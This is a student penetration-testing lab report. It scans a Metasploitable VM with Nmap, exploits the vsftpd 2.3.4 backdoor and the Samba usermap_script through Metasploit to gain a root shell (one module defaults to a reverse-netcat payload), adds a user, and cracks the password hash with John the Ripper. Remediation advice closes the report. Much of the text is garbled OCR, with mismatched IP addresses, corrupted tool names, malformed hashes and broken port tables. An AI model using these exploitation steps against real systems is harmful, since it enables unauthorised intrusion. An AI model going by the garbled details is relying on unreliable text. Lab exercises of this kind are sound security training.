! Ethical Hacking Project

Scanning and Enumerating a Local Network with Nmap

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Project: Simulating Real-World I	Network Exploitation and De	efense

Project Objectives:

To understand and apply techniques in:

- Network scanning
- Service enumeration
- Vulnerability exploitation
- Privilege escalation
- Password cracking
- Security remediation

2 Tools Used

- Kali Linux (Attacker Machine)
- Metasploitable (Target Machine)
- Nmap
- John the Ripper

Task 1: Basic Network Scan

```
Starting Main 7.95 (https://map.org ) at 2025-05-18 03:03 EDT Mmap scan report for 192.166.192.1 are in ignored states. Not 1500 (0.00046) latency).
All 1000 scanned ports on 192.166.192.1 are in ignored states. Not shown 1000 filtered top ports (no-response) MAC Address: 00:00156/CD101010 (Wheare) MAC Address: 00:00156/CD101010 (Wheare) MAC Address: 00:00156/CD101010 (Wheare) MAC Address: 00:00156/CD101010 (Wheare) MAC Address: 00:00156/CD101010 (Map. 2000) (Map. 2000)
```

Command: nmap -v 192.168.192.0/24

Targeted Output

```
Nmap scan report for 192.168.192.128
Host is up (0.0020s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
                      telnet
23/tcp
              open
25/tcp
              open smtp
53/tcp
80/tcp
                       domain
              open
                      http
rpcbind
              open
111/tcp
             open
139/tcp
445/tcp
512/tcp
513/tcp
              open netbios-ssn
              open
open
                       microsoft-ds
                       exec
              open
                       login
514/tcp open
                      shēll
1099/tcp open
1524/tcp open
                      rmiregistry
ingreslock
nfs
2049/tcp open
2121/tcp open
                      ccproxy-ftp
3306/tcp open
5432/tcp open
                      mysql
postgresql
5900/tcp open
                       VIIC
6000/tcp open
                       X11
6667/tcp open
8009/tcp open
                       irc
                      ajp13
unknown
8180/tcp open
MAC Address: 00:0C:29:9B:D8:B1 (VMware)
```

Command:nmap -vv 192.168.192.128

Task 2: Reconnaissance

Task 1: Scanning for hidden ports

Command: nmap -v -p- 192.168.192.128

```
PORT.
         STATE SERVICE
21/tcp
         open ftp
         open ssh
22/tcp _
23/tcp
        open telnet
25/tcp
         open smtp
53/tcp
         open donain
80/tcp open http
111/tcp open rpcbind
139/tcp
        open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open miregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distood
5432/tcp open
              postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open ircs-u
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open msgsrvr
41664/tcp open unknown
47961/tcp open unknown
51188/tcp open unknown
53062/tcp open unknown
MAC Address: 00:0C:29:9B:D8:B1 (VMware)
```

Total Hidden Ports 7

8787/tcp 41004/tcp 47901/tcp 51188/tcp 53062/tcp 6105/tcp 5907/tcp Command: nmap -v -sV 192.168.192.128

```
PORT
        STATE SERVICE
                          VERSION
21/tcp
                          vsftpd 2.3.4
        open ftp
22/tcp
                          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
        open ssh
23/tcp
        open telnet
                          Linux telnetd
25/tcp
                          Postfix smtpd
        open smtp
53/tcp
        open domain
                          ISC BIND 9.4.2
80/tcp
        open http
                          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
                          2 (RPC #100000)
111/tcp
        open rpcbind
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec
                          netkit-rsh rexecd
513/tcp open login?
514/tcp open shell
                          Netkit rshd
1099/tcp open java-rmi
                          GNU Classpath grmiregistry
1524/tcp open
             bindshell
                          Metasploitable root shell
2049/tcp open
             nfs
                          2-4 (RPC #100003)
2121/tcp open
                          ProFTPD 1.3.1
              ftp
3306/tcp open mysql
                          MySQL 5.0.51a-3ubuntu5
5432/tcp open
                          PostgreSQL DB 8.3.0 - 8.3.7
              postgresql
5900/tcp open vnc
                          VNC (protocol 3.3)
6000/tcp open X11
                          (access denied)
6667/tcp open irc
                          UnrealIRCd
                          Apache Jserv (Protocol v1.3)
8009/tcp open ajp13
8180/tcp open http
                          Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:9B:D8:B1 (VMware)
```

Command: nmap -v -0 192.168.192.128

2.3 Operating System Detection

```
STATE SERVICE
 23/tcp
                  open telnet
 25/tcp
                  open smtp
                  open domain
 111/tcp open rpcbind
139/tcp open netbios-ssn
  45/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 00:0C:29:9B:D8:B1 (VMware)
Device type: general purpose
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.084 days (since Sun May 18 03:03:41 2025)
Network Distance: 1 hop

COS Sequesco Prodiction: Difficulty=205 (Cond Luck)
TCP Sequence Prediction: Difficulty=205 (Good luck!)
```

Task 3: Enumeration Summary

Target IP Address: 192.168.192.128

Operating System: Linux 2.6.9 - 2.6.33

MAC Address: 00:0C:29:9B:D8:B1 (VMware)

Device Type: General-purpose

Open Services (Excluding Hidden Ports)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1

Hidden Services

8787/tcp open drb Ruby DRb RMI

47436/tcp open mountd 1-3 (RPC #100005)

50918/tcp open java-rmi GNU Classpath grmiregistry

```
59995/tcp open nlockmgr 1-4 (RPC #100021)
60004/tcp open status 1 (RPC #100024)
```

Task 4: Exploitation of Services

```
msf0 > use exploit/unix/ftp/vsftpd_234 backdoor

[1] No payload configured, defaulting to cmd/unix/interact
msf0 exploit(unix/ftp/vsftpd_236_backdoor) > set RHOST 192.168.192.128
RHOST → 192.168.192.128
msf0 exploit(unix/ftp/vsftpd_236_backdoor) > set RHOST 21
RHOST → 21
msf0 exploit(unix/ftp/vsftpd_236_backdoor) > run

[2] Msf::OptionValidateError The following options failed to validate:
1=Invalid option RHOSTS: Host resolution failed: 21
msf0 exploit(unix/ftp/vsftpd_236_backdoor) > options
 msf6 exploit(
                                                                                                r) > options
 Module options (exploit/unix/ftp/vsftpd 234_backdoor):
       Name Current Setting Required Description
                                   THES NO
                                                                                      The local client address
The local client port
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm
       CHOST
CPORT
       Proxies no
RHOSTS 21 yes
       RPORT 21
                                                                                      The target port (TCP)
 Exploit target:
       Id Name
       0 Automatic
 View the full module info with the info, or info -d command.
nsf0 exploit(unix/ftp/usftpd_234_backdoor) > set RHOSTS 192.108.192.128
RHOSTS → 192.108.192.128
nsf0 exploit(unix/ftp/usftpd_234_backdoor) > run

[*] 192.108.192.128:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.108.192.128:21 - USER: 331 Please specify the password.
[*] 192.108.192.128:21 - Backdoor service has been spawned, handling...
[*] 192.108.192.128:21 - UID: uid+0(root) gid+0(root)

[*] Found shell.
[*] Command shell session 1 opened (192.108.192.129:34809 → 192.108.192.128:0200) at 2025-05-18 05:20:24 -0400
  uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux.
```

1.vsftpd 2.3.4: Exploited via known backdoor vulnerability.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_236_backdoox) > set 8HOST 192.168.192.128
RHOST → 192.108.192.128
msto exploit(phily) representations as the set whose 19.
RMOST = 192.108.192.128
msfo exploit(unix/ftp/usftpd_23%_bockdoox) > set RHOST 21
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
                 Current Setting Required Description
    Name
                                                          The local client address
The local client port
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm
    CHOST
    Proxies
RHOSTS 21
                                                           The target port (TCP)
Exploit target:
    Id Name
    0 Automatic
View the full module info with the info, or info -d command.
                                                     uskulnor) > set RHOSTS 192.168.192.128
RHOSTS → 192.168.192.128
msf6 exploit(unax/15p/us/sml ass
 | 192.108.192.128:21 - USER: 331 Please specify the password.
| 192.108.192.128:21 - USER: 331 Please specify the password.
| 192.108.192.128:21 - Backdoor service has been spawned, handling...
| 192.108.192.128:21 - UID: uid=0(root) gid=0(root)
 [*] Found shell.
[*] Command shell session 1 opened (192.168.192.129:34809 → 192.168.192.128:6200) at 2025-05-18 05:20:24 -0400
 whoami
root
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GMU/Linux
```

2. smb 3.0.20-dbian (Port 443)

```
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > use
                                                    > use exploit/multi/samba/usermap_script
 isto auxiliary(semina)
** No payload configured, defaulting to cmd/unix/reverse_netcat
nsf6 exploit(aulti/semina/usormap_script) > show options
msf6 exploit(
Module options (exploit/multi/samba/usermap_script):
                Current Setting Required Description
                                                   The local client address
The local client port
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm
    CHOST
    Proxies
    RHOSTS
                                                   The target port (TCP)
    RPORT
Payload options (cmd/unix/reverse_netcat):
            Current Setting Required Description
    Name
    LHOST 127.0.0.1
                                                 The listen address (an interface may be specified)
Exploit target:
   Id Name
    0 Automatic
                                                                                                                                                                    Activate Windows
View the full module info with the info, or info -d command.
```

Task 5: Creating a Privileged User

Command:

adduser meta

Password: 12345

/etc/passwd Entry:

meta:x:1001:1001:meta,,,:/home/meta:/bin/bash

/etc/shadow Hash:

meta:\$0\$7nWuasBV\$pr6ZAFfqT9NcHv1pPX8Rj.

Task 6: Cracking Password Hash

meta:\$0\$7nWuasBV\$pr6ZAFfqT9NcHv1pPX8Rj.

Stored Hash in `hashes.txt`:

Cracking Commands:

john hashes.txt

john hashes.txt --show

Cracked Password: 12345

	
Task 7: Remediation and Recommendations	
Identified Vulnerabilities & Fixes:	
1. vsftpd 2.3.4 – vulnerable backdoor	
Fix: Upgrade to vsftpd 3.0.5	
2. OpenSSH 4.7p1 – outdated, brute-forceable	
Fix: Upgrade to OpenSSH 9.6	
3. Java RMI Service – allows remote execution	
Fix: Disable or firewall restrict access	
	
2 Major Learnings	
- Applied Nmap for full-range scanning and OS detection.	
- Understood enumeration and real-world exploitation techniques.	
- Gained skills in privilege escalation and hash cracking.	
- Learned how to evaluate vulnerabilities and apply proper remediation.	

This project simulates a real world penetration test using open source tools and is intended strictly for educational purpose.